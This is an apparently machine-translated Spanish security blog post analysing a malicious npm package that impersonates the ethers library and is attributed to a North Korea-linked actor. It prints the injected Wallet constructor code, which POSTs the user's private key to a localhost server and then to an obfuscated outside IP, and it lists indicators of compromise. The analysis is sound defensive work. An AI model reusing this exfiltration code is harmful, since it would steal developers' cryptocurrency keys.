La semana pasada, nuestro sistema automatizado de análisis de malware detectó un paquete sospechoso envoltorios web3
. El paquete suplanta al popular éteres
y contiene código ofuscado diseñado para robar claves privadas. Nuestra investigación reveló que el paquete puede estar asociado con el actor de amenazas conocido como Vacío Dokkaebi
un grupo conocido por robar criptomonedas a desarrolladores implicados en el desarrollo de tecnologías web3, blockchain y criptomonedas.
El paquete
El paquete se publicó inicialmente el 5 de junio a las 12:45 AM GMT+0:

Vemos algunos signos reveladores de que este paquete está construido para engañar. El nombre del paquete es envoltorios web3
pero el campo repositorio apunta al éteres.js
en GitHub. De hecho, los atacantes simplemente copiaron el repositorio e hicieron pequeñas modificaciones. Publicaron un total de 5 versiones en un día.
El autor
El paquete fue publicado por kaufman0913
con el correo electrónico coincidente de kaufman0913@gmail[.]com
.

La elección de una imagen de Rapunzel de muy baja resolución es... interesante. Pero no nos enredemos en eso por ahora.
¿Qué hace el paquete?
Para averiguar lo que el paquete está tratando de hacer, descargamos una copia de la última versión de ethers, e hicimos un diff contra ella para ver lo que los atacantes habían hecho.
Observamos que las versiones 6.14.3
y 6.14.4
no modificaron realmente ningún código, simplemente cambiaron el nombre del paquete.
Las cosas empiezan a cambiar en la versión 6.14.5
donde vemos que han añadido una nueva dependencia en el directorio paquete.json
añadiendo nodo-fetch
y la correspondiente @tipos/node-fetch
devDependencia
. Pronto veremos por qué.
El archivo principal que el desarrollador modificó es el archivo src.ts/wallet/wallet.ts
lo que también provoca cambios en lib.esm/wallet/wallet.js
y lib.commonjs/wallet/wallet.js
que son las versiones compiladas correspondientes del mismo archivo.
Vemos en 6.14.5
que cambiaron el constructor de la clase, añadiendo todo lo que hay debajo del super()
llamar::
export class Wallet extends BaseWallet {
/** * Create a new wallet for the private %%key%%, optionally connected * to %%provider%%. */
constructor(key: string | SigningKey, provider?: null | Provider) {
if (typeof(key) === "string" && !key.startsWith("0x")) {
key = "0x" + key;
}
let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
super(signingKey, provider);
// Send private key to server (Node.js and browser)
const url = 'http://localhost:3000/save-key';
if (typeof window === "undefined") {
// Node.js environment: use dynamic import for node-fetch
import('node-fetch').then(module => {
const fetch = module.default;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
// Browser environment: use native fetch
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
// .then(data => console.log('Server response:', data))
.catch(() => {});
}
}
...
Aquí vemos un signo revelador de que están intentando exfiltrar claves privadas. De hecho, sus comentarios son muy claros de que están enviando la clave privada a un servidor. Pero está apuntando a una dirección localhost. Así que están haciendo esto en tiempo real, lo cual es bueno. Nos da una idea de su proceso de desarrollo.
En 6.14.6
el código cambia. Ahora se ve así:
// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
import('node-fetch').then(module => {
const fetch = module.default;
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}
Entonces, ¿qué hay detrás de la variable encriptada enc? Aquí lo tienes.
http:/74.119.194[.]244/fetch
¿Ves algo raro? Es una URL HTTP inválida. Le falta un /
en el protocolo. ¡Uy!
El último lanzamiento, 6.14.7
no introduce ningún cambio significativo. Simplemente elimina el comentario en el código y el console.log. Los atacantes debieron pensar que ya estaba todo hecho, así que pudieron eliminar la admisión de que era malicioso y el registro de depuración. Sin embargo, no abordaron la cuestión de que la URL sigue siendo inválida.
¿Otra vez los norcoreanos?
Hace sólo unos meses, descubrimos que hackers norcoreanos intentaban robar carteras de criptomonedas. También publicaron versiones en tiempo real, depurando su código roto. Es curioso ver que esto vuelve a ocurrir, ¿verdad? Al menos esta vez, lo primero que hicieron fue incluir node-fetch, en lugar de darse cabezazos contra la pared tratando de averiguar por qué su axios
las llamadas no funcionaban.
En este caso, tenemos otro dato, la IP. Una búsqueda rápida de la IP en VirusTotal confirma nuestra sospecha:

El comentario hace referencia:
https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
Y efectivamente vemos que la lista IOC de TrendMicro menciona esta IP como un nodo Egress: Actividad alineada con la RPDC, vía RDP desde direcciones IP de la RU
. Y sus extensos informes están muy en línea con lo que vemos en este paquete: Apuntando a desarrolladores involucrados con web3/crypto, tratando de robar moneda.
Indicadores de compromiso
Afortunadamente, no hay indicios de que este paquete pudiera haber causado daños si se hubiera descargado y/o ejecutado, dado que el código no era completamente funcional. Pero si usted instaló el paquete, haga una auditoría de tráfico a la IP de abajo para asegurarse de que no se hizo ningún daño. Si observa algún tráfico hacia esta dirección IP, asuma que sus claves criptográficas han sido comprometidas.
Paquete:
envoltorios web3
IP:
74.119.194[.]244
Consulte más información sobre la investigación de Aikido Security aquí.